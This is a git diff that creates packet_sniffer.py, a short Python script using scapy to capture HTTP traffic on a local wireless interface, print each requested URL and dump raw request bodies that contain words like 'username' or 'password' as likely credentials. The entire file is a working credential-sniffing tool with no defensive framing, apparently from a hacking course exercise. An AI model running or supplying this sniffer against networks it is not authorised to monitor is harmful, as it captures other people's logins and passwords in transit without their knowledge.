packet_sniffer.py creation

packet_sniffer.py

@@ -0,0 +1,22 @@
+#!/usr/bin/env python
+import scapy.all as scapy
+from scapy.layers import http
+
+def sniff(interface):
+    scapy.sniff(iface=interface, store=False, prn=process_sniff_packet)
+
+def get_url(packet):
+    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
+
+def process_sniff_packet(packet):
+    if packet.haslayer(http.HTTPRequest) and packet.haslayer(scapy.Raw):
+        load = packet[scapy.Raw].load
+        url = get_url(packet)
+        print("[+] HTTP Request" + url.decode())
+        keywords = ["username", "user", "login", "password", "pass"]
+        for keyword in keywords:
+            if keyword in str(load):
+                print(f"\n\n[+] Possible username/password > {load.decode()}\n\n")
+                break
+
+sniff("wlp2s0")